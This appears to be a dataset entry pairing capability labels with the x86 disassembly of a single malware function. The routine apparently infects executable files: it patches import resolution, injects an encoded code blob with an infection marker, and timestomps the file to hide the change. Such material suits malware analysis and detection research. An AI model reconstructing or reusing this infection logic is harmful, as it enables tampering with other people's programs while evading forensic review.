Function at 0x10009b46
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [ebp + 0x10], 0
je 0x10009b5b
cmp dword [ebp + 0xc], 0
jne 0x10009b60
jmp 0x10009f4e
lea eax, [ebp - 0x7c]
push eax
push 0
push dword [ebp + 8]
call fcn.1000984e
cmp eax, 1
jne 0x10009bb1
mov eax, dword [0x1000f004]
cmp dword [ebp - 0x74], 5
jne 0x10009b89
cmp dword [ebp - 0x70], 6
jne 0x10009b89
cmp dword [ebp - 0x6c], eax
jne 0x10009b9b
cmp dword [ebp - 0x74], 5
jb 0x10009b9b
cmp dword [ebp - 0x74], 5
jne 0x10009bac
cmp dword [ebp - 0x70], 6
jae 0x10009bac
push dword [ebp + 0x14]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp + 8]
call fcn.10009989
jmp 0x10009bb1
jmp 0x10009f4e
push dword [ebp + 8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x58], eax
push 0x80
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10009f4e
mov dword [ebp - 4], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x38], 0
jne 0x10009f27
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001ca6
cmp eax, 0
je 0x10009f27
mov dword [ebp - 0xc], eax
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.100083c9
test eax, eax
je 0x10009f1e
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007f8d
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
push dword [esi + 0x40]
pop dword [ebp - 0x2c]
cmp dword [ebp + 0x14], 0
jne 0x10009c6f
cmp dword [ebp - 0x2c], 0
je 0x10009c6f
jmp 0x10009f1e
push str.LoadLibraryA
push 0
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.1000865e
mov dword [0x1000af3b], eax
push str.GetProcAddress
push 0
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.1000865e
mov dword [0x1000af3f], eax
cmp dword [0x1000af3b], 0
je 0x10009caf
cmp dword [0x1000af3f], 0
jne 0x10009cde
mov eax, 0
mov dword [0x1000af3b], eax
mov dword [0x1000af3f], eax
push 0
push 0x1000fa56
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.1000865e
cmp eax, 0
je 0x10009f1e
mov dword [0x1000af43], eax
mov eax, fcn.1000b041
sub eax, 0x1000a6a2
mov dword [ebp - 0x1c], eax
add eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x34]
push dword [ebp - 0x10]
push 0x1000fa49
push dword [ebp - 0xc]
call fcn.100084cc
cmp eax, 0
je 0x10009f1e
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x20], eax
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
sub eax, dword [esi + 0x10]
mov dword [0x1000ae13], eax
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007f45
mov ax, word [eax + 2]
movzx eax, ax
mov dword [ebp - 0x5c], eax
push dword [esi + 0x10]
pop dword [ebp - 0x60]
push dword [ebp + 0x10]
pop dword [0x1000b03c]
cmp dword [0x1000af3b], 0
je 0x10009d62
mov eax, dword [ebp - 0x20]
sub eax, dword [0x1000af3b]
mov dword [0x1000af3b], eax
cmp dword [0x1000af3f], 0
je 0x10009d79
mov eax, dword [ebp - 0x20]
sub eax, dword [0x1000af3f]
mov dword [0x1000af3f], eax
cmp dword [0x1000af43], 0
je 0x10009d90
mov eax, dword [ebp - 0x20]
sub eax, dword [0x1000af43]
mov dword [0x1000af43], eax
push dword [ebp - 0x20]
pop dword [esi + 0x10]
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
push 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
mov ebx, 0x1000a6a2
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x1c]
push ebx
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
cmp dword [ebp - 0x18], 0
jbe 0x10009df6
push 1
push 0
push dword [ebp - 0x18]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 4]
call sub.kernel32.dll_SetEndOfFile
call sub.kernel32.dll_GetTickCount
push 0xffffffffffffffff
push eax
call fcn.10002d89
mov dword [ebp - 0x7c], eax
push 0xfa1bc352
pop dword [ebp - 0x78]
push 5
pop dword [ebp - 0x74]
push 6
pop dword [ebp - 0x70]
push dword [0x1000f004]
pop dword [ebp - 0x6c]
push dword [0x1000f008]
pop dword [ebp - 0x68]
call fcn.10005385
mov dword [ebp - 0x64], eax
lea edi, [ebp - 0x7c]
mov edx, 0x24
mov eax, dword [ebp - 0x7c]
sub edx, 4
test edx, edx
je 0x10009e49
xor dword [edx + edi], eax
jmp 0x10009e3d
push 0xc8
call fcn.1000d780
add eax, 0x12c
mov dword [ebp - 0x84], eax
push dword [ebp - 0x84]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10009e9f
mov dword [ebp - 0x80], eax
push dword [ebp - 0x84]
push dword [ebp - 0x80]
call fcn.10002bd4
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x84]
push dword [ebp - 0x80]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x80]
call sub.kernel32.dll_GlobalFree
push 0
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
cmp dword [ebp + 0x14], 0
je 0x10009f1c
cmp dword [ebp - 0x2c], 0
je 0x10009f1c
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001ca6
or eax, eax
je 0x10009f1c
mov dword [ebp - 0xc], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
lea ebx, [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push ebx
push eax
push dword [ebp - 0xc]
call dword [ebp + 0x14]
or eax, eax
je 0x10009f13
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007f8d
mov esi, eax
push dword [ebp - 0x30]
pop dword [esi + 0x40]
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
jmp 0x10009f27
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFileTime
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x58]
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
leave
ret 0x10